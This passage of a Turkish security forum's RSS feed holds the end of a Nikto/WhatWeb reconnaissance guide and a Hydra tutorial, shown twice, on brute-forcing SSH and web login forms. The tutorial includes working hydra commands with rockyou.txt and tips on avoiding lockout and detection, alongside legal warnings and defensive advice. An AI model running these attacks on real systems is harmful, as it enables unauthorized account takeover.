<li><span style="font-weight: bold;" class="mycode_b">Güncel tutun:</span> Nikto'nun veritabanı güncel olmalı; aracı ve imzalarını güncel tutmak bulgu kalitesini artırır.<br />
</li>
</ul>
İki aracın birlikte verdiği tablo, bir sonraki adıma (örneğin dizin keşfi, CMS'e özel tarayıcılar ya da elle test) sağlam bir zemin oluşturur.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7. Savunma Perspektifi</span></span><br />
Keşif araçlarının bulduğu çoğu şey aslında savunma eksiğidir. Sunucu sürüm bilgisini gizlemek (ServerTokens Prod), gereksiz varsayılan dosyaları (README, test sayfaları, phpinfo.php) kaldırmak, güvenlik başlıklarını (X-Frame-Options, Content-Security-Policy, X-Content-Type-Options) eklemek ve yazılımları güncel tutmak, bu araçların döndürdüğü bulguların çoğunu ortadan kaldırır. Yani Nikto/WhatWeb çıktısını bir "yapılacaklar listesi" gibi okumak, savunmacı için en verimli yaklaşımdır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7.1. İki Aracı Bir İş Akışına Oturtmak</span></span><br />
Nikto ve WhatWeb'i tek tek öğrenmek kolaydır; asıl ustalık, onları tutarlı bir iş akışına oturtmaktır. Pratikte sıralama şöyle işler: önce hedefin canlı ve hangi portlarda web servisi sunduğunu bir port taramasıyla (örneğin Nmap) teyit edersiniz. Ardından WhatWeb'i düşük agresiflikle çalıştırıp teknolojiyi, sürümleri ve çatıyı tespit edersiniz. Bu bilgi elinizdeyken Nikto'yu daha bilinçli yaparsınız: HTTPS ise -ssl ekler, standart dışı port varsa -p ile belirtir, ilgisiz test kategorilerini -Tuning ile eler ve raporu dosyaya yazdırırsınız.<br />
<br />
Bu araçların en büyük tuzağı, çıktıyı olduğu gibi "bulgu" olarak rapora kopyalamaktır. Profesyonel yaklaşım, her satırı bağlamıyla değerlendirmektir. Örneğin eksik bir X-Frame-Options başlığı gerçek ama düşük önemli bir bulgudur; erişilebilir bir phpinfo.php ise sunucu yolunu, yüklü modülleri ve ortam değişkenlerini sızdırdığı için çok daha ciddidir. Eski bir sunucu sürümü ise tek başına bir açık değildir, ancak o sürüme ait bilinen zafiyetleri araştırmanız için güçlü bir ipucudur. İyi bir testçi, aracın söylediğini doğrulayan, önceliklendiren ve etkisini açıklayan kişidir; aracı yalnızca çalıştıran değil.<br />
<br />
Son olarak tekrarlanabilirlik için her taramanın komutunu, zamanını ve çıktısını kaydedin. Bir hedefi haftalar sonra yeniden test ettiğinizde, eski WhatWeb ve Nikto raporlarıyla karşılaştırmak, nelerin düzeltildiğini ve nelerin hâlâ açık olduğunu görmenin en hızlı yoludur. Bu alışkanlık, hem denetim kalitenizi hem de müşteriye sunduğunuz değeri belirgin biçimde artırır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
WhatWeb hedefin "ne" olduğunu, Nikto ise "nerede zayıf olabileceğini" hızlıca gösterir. İkisi birlikte, web keşfinin omurgasını oluşturur. Bulguları her zaman elle doğrulayın, gürültüyü yönetin ve sonuçları ya bir sonraki test adımına ya da savunma iyileştirmelerine dönüştürün. Keşif ne kadar iyi olursa, testin geri kalanı o kadar isabetli olur.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>Nikto Resmi Deposu ve Belgeleri - <a href="https://github.com/sullo/nikto" target="_blank" rel="noopener" class="mycode_url">https://github.com/sullo/nikto</a><br />
</li>
<li>Nikto Wiki - <a href="https://github.com/sullo/nikto/wiki" target="_blank" rel="noopener" class="mycode_url">https://github.com/sullo/nikto/wiki</a><br />
</li>
<li>WhatWeb Resmi Deposu - <a href="https://github.com/urbanadventurer/WhatWeb" target="_blank" rel="noopener" class="mycode_url">https://github.com/urbanadventurer/WhatWeb</a><br />
</li>
<li>Kali Tools: nikto - <a href="https://www.kali.org/tools/nikto/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/nikto/</a><br />
</li>
<li>Kali Tools: whatweb - <a href="https://www.kali.org/tools/whatweb/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/whatweb/</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>Web keşif ve tarama araçları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde kullanılmalıdır. İzinsiz tarama Türk Ceza Kanunu 243-245. maddeleri kapsamında suç oluşturabilir.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=232" target="_blank" title="">000-team-new-88cbb6.png</a> (Dosya Boyutu: 62.08 KB / İndirme Sayısı: 10)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=233" target="_blank" title="">konu-10-1.png</a> (Dosya Boyutu: 48.61 KB / İndirme Sayısı: 10)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=234" target="_blank" title="">konu-10-2.png</a> (Dosya Boyutu: 52.03 KB / İndirme Sayısı: 11)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Hydra ile Çevrimiçi Parola Saldırıları: SSH ve HTTP Form Brute Force]]></title>
			<link>https://www.turkteam.org/konu-hydra-ile-cevrimici-parola-saldirilari-ssh-ve-http-form-brute-force.html</link>
			<pubDate>Sun, 18 Oct 2026 20:34:12 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-hydra-ile-cevrimici-parola-saldirilari-ssh-ve-http-form-brute-force.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Selam TurkTeam,</span><br />
<br />
Parola denetiminin iki ayrı dünyası vardır: çevrimdışı (hash kırma) ve çevrimiçi (canlı servise deneme yapma). Bu rehber çevrimiçi tarafa odaklanıyor ve sektörün en bilinen aracı <span style="font-weight: bold;" class="mycode_b">THC-Hydra</span> ile SSH ve HTTP form tabanlı giriş noktalarına karşı kaba kuvvet/sözlük denemelerini uygulamalı anlatıyor. Tüm örnekler yalnızca kendi lab servislerinizde ve yetkili denetimlerde geçerlidir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Çevrimiçi parola saldırısı nedir, çevrimdışından farkı<br />
</li>
<li>Hydra nedir, hangi protokolleri destekler<br />
</li>
<li>Lab kurulumu ve kelime listeleri<br />
</li>
<li>Hydra parametre referansı<br />
</li>
<li>Uygulamalı: SSH ve HTTP POST form denemesi<br />
</li>
<li>İleri seviye: oran sınırlama, devam ettirme, savunma<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Çevrimiçi vs Çevrimdışı</span></span><br />
Çevrimdışı saldırıda elinizde bir hash vardır ve onu yerelde, hedefle konuşmadan kırarsınız (John/Hashcat). Çevrimiçi saldırıda ise canlı bir servise (SSH, FTP, bir web giriş formu) gerçek giriş denemeleri gönderirsiniz. Çevrimiçi saldırılar çok daha yavaştır, ağ gecikmesine bağlıdır ve <span style="font-weight: bold;" class="mycode_b">tespit edilebilir</span>: başarısız girişler loglanır, hesap kilitleme ve oran sınırlama tetiklenir. Bu yüzden gerçek denetimlerde dikkatli, hedefli ve izinli yapılmalıdır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Hydra Nedir?</span></span><br />
THC-Hydra, çok sayıda protokole (ssh, ftp, http-get/post-form, smb, rdp, mysql ve daha fazlası) paralel giriş denemesi yapabilen hızlı bir çevrimiçi parola denetim aracıdır. Paralelliği sayesinde tek tek denemeye göre çok daha verimlidir, ancak bu aynı zamanda hedefe yük bindirir; eşzamanlılığı bilinçli ayarlamak gerekir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Lab Kurulumu ve Wordlist'ler</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install hydra seclists</code></div></div>Pratik için kendi makinenizde bir SSH servisi ve bilinen bir test kullanıcısı kurabilir, ya da Metasploitable2 gibi izole bir lab hedefi kullanabilirsiniz. Kullanıcı ve parola listeleri:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ls /usr/share/seclists/Usernames/
ls /usr/share/seclists/Passwords/
# klasik parola listesi
ls -l /usr/share/wordlists/rockyou.txt*</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Hydra Parametre Referansı</span></span><br />
<span style="font-weight: bold;" class="mycode_b">-l / -L</span> - Tek kullanıcı / kullanıcı listesi:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -l admin ...
hydra -L kullanicilar.txt ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-p / -P</span> - Tek parola / parola listesi:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -P /usr/share/wordlists/rockyou.txt ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-t</span> - Paralel görev sayısı (varsayılan 16; SSH için düşürmek gerekebilir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -t 4 ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-s</span> - Standart dışı port:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -s 2222 ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-f</span> - İlk geçerli kimlik bulununca dur; <span style="font-weight: bold;" class="mycode_b">-V</span> her denemeyi göster:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -f -V ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-o</span> - Sonuçları dosyaya yaz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -o bulgu.txt ...</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. Uygulamalı Adımlar</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Adım 1 - SSH sözlük denemesi.</span> Bilinen bir kullanıcı için parola listesi deneyin (yalnızca kendi lab hedefinizde):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt -t 4 -f -V ssh://192.168.56.101</code></div></div>SSH el sıkışması pahalı olduğu için -t değerini düşük (4 civarı) tutmak daha kararlı sonuç verir. Hydra parolayı bulunca şuna benzer bir satır yazar:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>[22][ssh] host: 192.168.56.101   login: msfadmin   password: msfadmin</code></div></div><div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=229" loading="lazy"  alt="[Resim: attachment.php?aid=229]" class="mycode_img" /></div>
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 2 - HTTP POST form denemesi.</span> Web giriş formlarında http-post-form modülü kullanılır. Üç alanı iki nokta ile ayırırsınız: <span style="font-weight: bold;" class="mycode_b">yol</span>:<span style="font-weight: bold;" class="mycode_b">POST gövdesi</span>:<span style="font-weight: bold;" class="mycode_b">başarısızlık işareti</span>. ^USER^ ve ^PASS^ yer tutucularını Hydra doldurur:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.101 &#92;
  http-post-form "/login.php:username=^USER^&amp;password=^PASS^:F=Login failed"</code></div></div>Buradaki <span style="font-weight: bold;" class="mycode_b">F=Login failed</span>, yanıtta bu metin varsa denemenin başarısız sayılacağını belirtir. Doğru metni bulmak için önce tarayıcıda hatalı bir giriş yapıp sunucunun döndürdüğü hata ifadesini (örn. "Invalid credentials") not edin. Alternatif olarak başarı koşulu için S= kullanılabilir.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=230" loading="lazy"  alt="[Resim: attachment.php?aid=230]" class="mycode_img" /></div>
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 3 - Gövde ve çerez detayları.</span> Form bir CSRF token veya oturum çerezi istiyorsa, POST gövdesine ilgili alanı ekler ve C=/çerez seçeneğiyle çerezi geçirirsiniz. Doğru POST alan adlarını tarayıcı geliştirici araçlarının "Network" sekmesinden teyit edin; yanlış alan adı tüm denemeleri boşa çıkarır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. İleri Seviye ve Savunma</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Eşzamanlılık ve gecikme:</span> Hesap kilitleme ve tespit riskini azaltmak için -t değerini düşürün; bazı modüllerde denemeler arası bekleme için -W / -c seçenekleri yardımcı olur.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Hedefli liste:</span> Devasa listeler yerine, keşifte toplanan bağlama uygun (kurum adı, yıl, sızıntı listeleri) küçük ve akıllı listeler çok daha etkilidir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Birden çok hedef:</span> -M dosya ile birden çok host'u aynı anda test edebilirsiniz.<br />
</li>
</ul>
<span style="font-weight: bold;" class="mycode_b">Savunma tarafı:</span> Çevrimiçi kaba kuvvete karşı en etkili önlemler; güçlü ve benzersiz parolalar, çok faktörlü kimlik doğrulama (MFA), başarısız giriş sınırlama (fail2ban gibi), hesap kilitleme politikaları ve SSH'te parola yerine anahtar tabanlı kimlik doğrulamadır. Bu önlemler devrede olduğunda Hydra tipi saldırılar pratik olarak işe yaramaz hale gelir; bu yüzden denetimin asıl değeri bu kontrollerin eksikliğini ortaya koymaktır.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=231" loading="lazy"  alt="[Resim: attachment.php?aid=231]" class="mycode_img" /></div>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6.1. Neden Çoğu Çevrimiçi Saldırı Başarısız Olur?</span></span><br />
Yeni başlayanlar sık sık "Hydra'yı rockyou ile çalıştırdım ama hiçbir şey bulamadım" der. Bunun nedeni genellikle aracın değil, yöntemin yanlış olmasıdır. Çevrimiçi saldırıda milyonlarca parolayı denemek pratikte imkansızdır: her deneme bir ağ turu ve sunucu yanıtı gerektirir, SSH gibi protokollerde el sıkışma pahalıdır ve saniyede yalnızca birkaç deneme yapabilirsiniz. Üstelik modern sistemler fail2ban, hesap kilitleme veya oran sınırlama ile kısa sürede IP'nizi engeller. Dolayısıyla "listeyi büyüt" yaklaşımı değil, "listeyi akıllı seç" yaklaşımı kazandırır.<br />
<br />
Profesyonel bir denetimde doğru sıralama şudur: önce keşif (hangi kullanıcı adları gerçekten var, kurumun parola politikası ne, sızıntı veritabanlarında bu kuruma ait kimlik var mı), sonra bu bağlama göre küçük ve hedefli bir liste, en sonunda düşük eşzamanlılıkla dikkatli bir deneme. Çoğu zaman tek bir zayıf veya varsayılan parola (admin/admin, root/toor, kurum adı + yıl gibi) tüm kapıyı açar; dev listeler ise yalnızca gürültü üretir ve sizi engelletir.<br />
<br />
Bir diğer sık hata, HTTP form modülünde yanlış "başarısızlık işareti" belirlemektir. F= ile verdiğiniz metin yanıtta her zaman görünüyorsa Hydra hiçbir denemeyi başarılı saymaz; hiç görünmüyorsa her denemeyi başarılı sanır. Bu yüzden önce elle bir hatalı ve bir doğru giriş yapıp yanıtların farkını net görmek, modülü doğru kurmanın anahtarıdır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Hydra, çevrimiçi parola denetiminde hızlı ve esnek bir araçtır; gücü protokol çeşitliliği ve paralelliğinde yatar. Ancak çevrimiçi saldırılar gürültülü ve tespit edilebilirdir; başarı büyük ölçüde doğru kullanıcı/parola listesi ve doğru modül yapılandırmasına bağlıdır. Her zaman yetki dahilinde, hedefi yormadan ve bulguları savunma önerilerine (MFA, anahtar tabanlı giriş, fail2ban) dönüştürerek çalışın.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>THC-Hydra Resmi Deposu - <a href="https://github.com/vanhauser-thc/thc-hydra" target="_blank" rel="noopener" class="mycode_url">https://github.com/vanhauser-thc/thc-hydra</a><br />
</li>
<li>Kali Tools: hydra - <a href="https://www.kali.org/tools/hydra/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/hydra/</a><br />
</li>
<li>man hydra (yerel man sayfası)<br />
</li>
<li>SecLists - <a href="https://github.com/danielmiessler/SecLists" target="_blank" rel="noopener" class="mycode_url">https://github.com/danielmiessler/SecLists</a><br />
</li>
<li>OWASP: Blocking Brute Force Attacks - <a href="https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks" target="_blank" rel="noopener" class="mycode_url">https://owasp.org/www-community/controls...ce_Attacks</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>Çevrimiçi parola denemeleri yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde yapılmalıdır. İzinsiz giriş denemeleri Türk Ceza Kanunu 243-245. maddeleri kapsamında suçtur.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=229" target="_blank" title="">000-team-new-8845db.png</a> (Dosya Boyutu: 58.09 KB / İndirme Sayısı: 8)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=230" target="_blank" title="">konu-09-1.png</a> (Dosya Boyutu: 61.25 KB / İndirme Sayısı: 9)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=231" target="_blank" title="">konu-09-2.png</a> (Dosya Boyutu: 54.37 KB / İndirme Sayısı: 8)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Selam TurkTeam,</span><br />
<br />
Parola denetiminin iki ayrı dünyası vardır: çevrimdışı (hash kırma) ve çevrimiçi (canlı servise deneme yapma). Bu rehber çevrimiçi tarafa odaklanıyor ve sektörün en bilinen aracı <span style="font-weight: bold;" class="mycode_b">THC-Hydra</span> ile SSH ve HTTP form tabanlı giriş noktalarına karşı kaba kuvvet/sözlük denemelerini uygulamalı anlatıyor. Tüm örnekler yalnızca kendi lab servislerinizde ve yetkili denetimlerde geçerlidir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Çevrimiçi parola saldırısı nedir, çevrimdışından farkı<br />
</li>
<li>Hydra nedir, hangi protokolleri destekler<br />
</li>
<li>Lab kurulumu ve kelime listeleri<br />
</li>
<li>Hydra parametre referansı<br />
</li>
<li>Uygulamalı: SSH ve HTTP POST form denemesi<br />
</li>
<li>İleri seviye: oran sınırlama, devam ettirme, savunma<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Çevrimiçi vs Çevrimdışı</span></span><br />
Çevrimdışı saldırıda elinizde bir hash vardır ve onu yerelde, hedefle konuşmadan kırarsınız (John/Hashcat). Çevrimiçi saldırıda ise canlı bir servise (SSH, FTP, bir web giriş formu) gerçek giriş denemeleri gönderirsiniz. Çevrimiçi saldırılar çok daha yavaştır, ağ gecikmesine bağlıdır ve <span style="font-weight: bold;" class="mycode_b">tespit edilebilir</span>: başarısız girişler loglanır, hesap kilitleme ve oran sınırlama tetiklenir. Bu yüzden gerçek denetimlerde dikkatli, hedefli ve izinli yapılmalıdır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Hydra Nedir?</span></span><br />
THC-Hydra, çok sayıda protokole (ssh, ftp, http-get/post-form, smb, rdp, mysql ve daha fazlası) paralel giriş denemesi yapabilen hızlı bir çevrimiçi parola denetim aracıdır. Paralelliği sayesinde tek tek denemeye göre çok daha verimlidir, ancak bu aynı zamanda hedefe yük bindirir; eşzamanlılığı bilinçli ayarlamak gerekir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Lab Kurulumu ve Wordlist'ler</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install hydra seclists</code></div></div>Pratik için kendi makinenizde bir SSH servisi ve bilinen bir test kullanıcısı kurabilir, ya da Metasploitable2 gibi izole bir lab hedefi kullanabilirsiniz. Kullanıcı ve parola listeleri:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ls /usr/share/seclists/Usernames/
ls /usr/share/seclists/Passwords/
# klasik parola listesi
ls -l /usr/share/wordlists/rockyou.txt*</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Hydra Parametre Referansı</span></span><br />
<span style="font-weight: bold;" class="mycode_b">-l / -L</span> - Tek kullanıcı / kullanıcı listesi:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -l admin ...
hydra -L kullanicilar.txt ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-p / -P</span> - Tek parola / parola listesi:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -P /usr/share/wordlists/rockyou.txt ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-t</span> - Paralel görev sayısı (varsayılan 16; SSH için düşürmek gerekebilir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -t 4 ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-s</span> - Standart dışı port:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -s 2222 ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-f</span> - İlk geçerli kimlik bulununca dur; <span style="font-weight: bold;" class="mycode_b">-V</span> her denemeyi göster:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -f -V ...</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-o</span> - Sonuçları dosyaya yaz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -o bulgu.txt ...</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. Uygulamalı Adımlar</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Adım 1 - SSH sözlük denemesi.</span> Bilinen bir kullanıcı için parola listesi deneyin (yalnızca kendi lab hedefinizde):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt -t 4 -f -V ssh://192.168.56.101</code></div></div>SSH el sıkışması pahalı olduğu için -t değerini düşük (4 civarı) tutmak daha kararlı sonuç verir. Hydra parolayı bulunca şuna benzer bir satır yazar:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>[22][ssh] host: 192.168.56.101   login: msfadmin   password: msfadmin</code></div></div><div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=229" loading="lazy"  alt="[Resim: attachment.php?aid=229]" class="mycode_img" /></div>
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 2 - HTTP POST form denemesi.</span> Web giriş formlarında http-post-form modülü kullanılır. Üç alanı iki nokta ile ayırırsınız: <span style="font-weight: bold;" class="mycode_b">yol</span>:<span style="font-weight: bold;" class="mycode_b">POST gövdesi</span>:<span style="font-weight: bold;" class="mycode_b">başarısızlık işareti</span>. ^USER^ ve ^PASS^ yer tutucularını Hydra doldurur:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.101 &#92;
  http-post-form "/login.php:username=^USER^&amp;password=^PASS^:F=Login failed"</code></div></div>Buradaki <span style="font-weight: bold;" class="mycode_b">F=Login failed</span>, yanıtta bu metin varsa denemenin başarısız sayılacağını belirtir. Doğru metni bulmak için önce tarayıcıda hatalı bir giriş yapıp sunucunun döndürdüğü hata ifadesini (örn. "Invalid credentials") not edin. Alternatif olarak başarı koşulu için S= kullanılabilir.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=230" loading="lazy"  alt="[Resim: attachment.php?aid=230]" class="mycode_img" /></div>
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 3 - Gövde ve çerez detayları.</span> Form bir CSRF token veya oturum çerezi istiyorsa, POST gövdesine ilgili alanı ekler ve C=/çerez seçeneğiyle çerezi geçirirsiniz. Doğru POST alan adlarını tarayıcı geliştirici araçlarının "Network" sekmesinden teyit edin; yanlış alan adı tüm denemeleri boşa çıkarır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. İleri Seviye ve Savunma</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Eşzamanlılık ve gecikme:</span> Hesap kilitleme ve tespit riskini azaltmak için -t değerini düşürün; bazı modüllerde denemeler arası bekleme için -W / -c seçenekleri yardımcı olur.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Hedefli liste:</span> Devasa listeler yerine, keşifte toplanan bağlama uygun (kurum adı, yıl, sızıntı listeleri) küçük ve akıllı listeler çok daha etkilidir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Birden çok hedef:</span> -M dosya ile birden çok host'u aynı anda test edebilirsiniz.<br />
</li>
</ul>
<span style="font-weight: bold;" class="mycode_b">Savunma tarafı:</span> Çevrimiçi kaba kuvvete karşı en etkili önlemler; güçlü ve benzersiz parolalar, çok faktörlü kimlik doğrulama (MFA), başarısız giriş sınırlama (fail2ban gibi), hesap kilitleme politikaları ve SSH'te parola yerine anahtar tabanlı kimlik doğrulamadır. Bu önlemler devrede olduğunda Hydra tipi saldırılar pratik olarak işe yaramaz hale gelir; bu yüzden denetimin asıl değeri bu kontrollerin eksikliğini ortaya koymaktır.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=231" loading="lazy"  alt="[Resim: attachment.php?aid=231]" class="mycode_img" /></div>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6.1. Neden Çoğu Çevrimiçi Saldırı Başarısız Olur?</span></span><br />
Yeni başlayanlar sık sık "Hydra'yı rockyou ile çalıştırdım ama hiçbir şey bulamadım" der. Bunun nedeni genellikle aracın değil, yöntemin yanlış olmasıdır. Çevrimiçi saldırıda milyonlarca parolayı denemek pratikte imkansızdır: her deneme bir ağ turu ve sunucu yanıtı gerektirir, SSH gibi protokollerde el sıkışma pahalıdır ve saniyede yalnızca birkaç deneme yapabilirsiniz. Üstelik modern sistemler fail2ban, hesap kilitleme veya oran sınırlama ile kısa sürede IP'nizi engeller. Dolayısıyla "listeyi büyüt" yaklaşımı değil, "listeyi akıllı seç" yaklaşımı kazandırır.<br />
<br />
